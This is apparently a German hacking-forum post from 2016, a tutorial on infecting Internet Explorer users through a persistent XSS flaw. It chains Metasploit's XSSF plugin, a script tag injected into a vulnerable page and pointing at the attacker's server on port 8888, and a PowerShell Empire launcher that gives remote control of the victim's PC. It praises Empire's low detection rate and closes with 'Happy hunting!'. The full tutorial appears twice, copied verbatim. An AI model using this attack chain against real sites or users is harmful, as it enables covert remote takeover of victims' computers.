Braz
24.04.2016, 14:01
Hey Leute,
Hier wie angekündigt ein kleines Tutorial, wie ihr über eine persistente XSS einen Internet Explorer User infizieren könnt.
Was wird benötigt:
Linux Distribution
Empire-Framework: https://github.com/PowerShellEmpire/Empire
Metasploit-Framework: https://github.com/rapid7/metasploit-framework
XSS-Framework: https://github.com/sempervictus/xssf
Eine persistente XSS-Lücke
Ich gehe nicht auf die Installation von Empire & MSF ein, da diese weit und breit im Internet zu finden sind.
Das XSS-Framework ist ein Plugin für Metasploit, daher müssen die Dateien richtig importiert werden.
Hier jeweils die Dateien von XSSF richtig in die vorhande Metasploit Architektur einfplegen.
Ist das Setup komplett, müsst ihr initial das XSSF in der Metasploit-Konsole einbinden:
msfconsole
load xssf
Nun könnt ihr euch nach dem Eintippen von
xssf_
über die TAB-Taste die weiteren Funktionen anzeigen lassen.
Für unser Vorhaben schauen wir uns als erstes die URLs an, welche wir zur Verbindung benötigen.
Dies macht man über den Befehl:
xssf_urls
Der Output bei mir:
msf> xssf_urls
[+] XSSF Server : 'http://meinserver:8888/' or 'http://<PUBLIC-IP>:8888/'
[+] Generic XSS injection: 'http://meinserver:8888/loop' or 'http://<PUBLIC-IP>:8888/loop'
[+] XSSF test page : 'http://meinserver/test.html' or 'http://<PUBLIC-IP>:8888/test.html'
[+] XSSF Tunnel Proxy : 'localhost:8889'
[+] XSSF logs page : 'http://localhost:8889/gui.html?guipage=main'
[+] XSSF statistics page: 'http://localhost:8889/gui.html?guipage=stats'
[+] XSSF help page : 'http://localhost:8889/gui.html?guipage=help'
Der Generic XSS Injections Server ist für unser Belangen gedacht.
Hierzu habe ich bei meinem Router den Port 8888 geöffnet.
Nun könnt ihr schon mit der XSS loslegen indem ihr folgendes Script einbaut:
<script src="http://euerserver:8888/loop?interval=2"></script>
Die XSS-Verbindung funktioniert zwar jetzt, ist aber immer noch nutzlos:
Für die Client-Exploitation verwende ich zur Zeit Powershell im Empire-Framework,
da dieses fast so gut ist wie der Meterpreter und dabei eine niedrigere/keine Erkennungsrate hat.
Hierzu das Empire-FW öffnen und per
listeners
options
nun die Settings des Listeners anzeigen lassen.
Mit
set müsst ihr jetzt die Konfiguration anpassen,
um ihn anschließend mit
execute zu starten.
Ab hier horcht das Empire-FW auf neue Verbindungen.
Wie verbinde ich jetzt alle Komponenten?
#1
Wir parametrieren & erstellen den Payload im Empire-FW mit:
usestager launcher
set EureOptionen
execute
Nach erfolgreichem Parametrieren, wird der Powershell.exe Command ausgegeben.
#2
In Metasploit:
use auxiliary/xssf/public/IE/command
set Command DenObenAusgegebenenPowershellCommand
exploit -j
Das Modul läuft im Hintergrund und hat eine Job-ID.
Diese lässt sich herausfinden über:
jobs
Da ihr wahrscheinlich nichts im MSF laufen habt, hat die ID die Kennung "0".
Wenn jetzt mit
xssf_add_auto_attack 0
das Ganze abgeschlossen wird, passiert folgendes:
Victim surft auf die Seite, wo eine XSS versteckt ist.
XSS triggert automatisch das Modul *IE/Command.
Victim bekommt eine Meldung von ActiveX, welcher er mit "Ja" bestätigen muss.
Victim-PC öffnet kurz eine Powershell und stellt die finale Verbindung mit Empire her.
Falls jemand Anregungen, zum ändern dieses Textes hat, einfach schreiben!
Happy hunting!
Hier wie angekündigt ein kleines Tutorial, wie ihr über eine persistente XSS einen Internet Explorer User infizieren könnt.
Was wird benötigt:
Linux Distribution
Empire-Framework: https://github.com/PowerShellEmpire/Empire
Metasploit-Framework: https://github.com/rapid7/metasploit-framework
XSS-Framework: https://github.com/sempervictus/xssf
Eine persistente XSS-Lücke
Ich gehe nicht auf die Installation von Empire & MSF ein, da diese weit und breit im Internet zu finden sind.
Das XSS-Framework ist ein Plugin für Metasploit, daher müssen die Dateien richtig importiert werden.
Hier jeweils die Dateien von XSSF richtig in die vorhande Metasploit Architektur einfplegen.
Ist das Setup komplett, müsst ihr initial das XSSF in der Metasploit-Konsole einbinden:
msfconsole
load xssf
Nun könnt ihr euch nach dem Eintippen von
xssf_
über die TAB-Taste die weiteren Funktionen anzeigen lassen.
Für unser Vorhaben schauen wir uns als erstes die URLs an, welche wir zur Verbindung benötigen.
Dies macht man über den Befehl:
xssf_urls
Der Output bei mir:
msf> xssf_urls
[+] XSSF Server : 'http://meinserver:8888/' or 'http://<PUBLIC-IP>:8888/'
[+] Generic XSS injection: 'http://meinserver:8888/loop' or 'http://<PUBLIC-IP>:8888/loop'
[+] XSSF test page : 'http://meinserver/test.html' or 'http://<PUBLIC-IP>:8888/test.html'
[+] XSSF Tunnel Proxy : 'localhost:8889'
[+] XSSF logs page : 'http://localhost:8889/gui.html?guipage=main'
[+] XSSF statistics page: 'http://localhost:8889/gui.html?guipage=stats'
[+] XSSF help page : 'http://localhost:8889/gui.html?guipage=help'
Der Generic XSS Injections Server ist für unser Belangen gedacht.
Hierzu habe ich bei meinem Router den Port 8888 geöffnet.
Nun könnt ihr schon mit der XSS loslegen indem ihr folgendes Script einbaut:
<script src="http://euerserver:8888/loop?interval=2"></script>
Die XSS-Verbindung funktioniert zwar jetzt, ist aber immer noch nutzlos:
Für die Client-Exploitation verwende ich zur Zeit Powershell im Empire-Framework,
da dieses fast so gut ist wie der Meterpreter und dabei eine niedrigere/keine Erkennungsrate hat.
Hierzu das Empire-FW öffnen und per
listeners
options
nun die Settings des Listeners anzeigen lassen.
Mit
set müsst ihr jetzt die Konfiguration anpassen,
um ihn anschließend mit
execute zu starten.
Ab hier horcht das Empire-FW auf neue Verbindungen.
Wie verbinde ich jetzt alle Komponenten?
#1
Wir parametrieren & erstellen den Payload im Empire-FW mit:
usestager launcher
set EureOptionen
execute
Nach erfolgreichem Parametrieren, wird der Powershell.exe Command ausgegeben.
#2
In Metasploit:
use auxiliary/xssf/public/IE/command
set Command DenObenAusgegebenenPowershellCommand
exploit -j
Das Modul läuft im Hintergrund und hat eine Job-ID.
Diese lässt sich herausfinden über:
jobs
Da ihr wahrscheinlich nichts im MSF laufen habt, hat die ID die Kennung "0".
Wenn jetzt mit
xssf_add_auto_attack 0
das Ganze abgeschlossen wird, passiert folgendes:
Victim surft auf die Seite, wo eine XSS versteckt ist.
XSS triggert automatisch das Modul *IE/Command.
Victim bekommt eine Meldung von ActiveX, welcher er mit "Ja" bestätigen muss.
Victim-PC öffnet kurz eine Powershell und stellt die finale Verbindung mit Empire her.
Falls jemand Anregungen, zum ändern dieses Textes hat, einfach schreiben!
Happy hunting!